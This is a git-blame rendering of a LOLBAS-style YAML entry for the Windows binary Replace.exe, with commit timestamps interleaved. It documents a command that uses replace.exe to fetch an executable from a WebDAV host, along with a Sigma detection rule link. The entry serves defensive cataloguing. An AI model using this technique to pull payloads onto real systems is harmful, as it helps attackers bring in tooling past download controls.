2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Replace.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Description: Used to replace file with another file
|
2018-09-24 21:59:43 +02:00
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: replace.exe C:\Source\File.cab C:\Destination /A
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Copy file.cab to destination
|
2021-01-10 16:04:52 +01:00
|
|
|
Usecase: Copy files
|
2018-09-24 21:59:43 +02:00
|
|
|
Category: Copy
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Download/Copy bar.exe to outdir
|
2021-01-10 16:04:52 +01:00
|
|
|
Usecase: Download file
|
2018-09-24 21:59:43 +02:00
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\replace.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\replace.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Code:
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2021-11-15 14:19:03 +01:00
|
|
|
- IOC: Replace.exe retrieving files from remote server
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://twitter.com/elceef/status/986334113941655553
|
|
|
|
- Link: https://twitter.com/elceef/status/986842299861782529
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: elceef
|
|
|
|
Handle: '@elceef'
|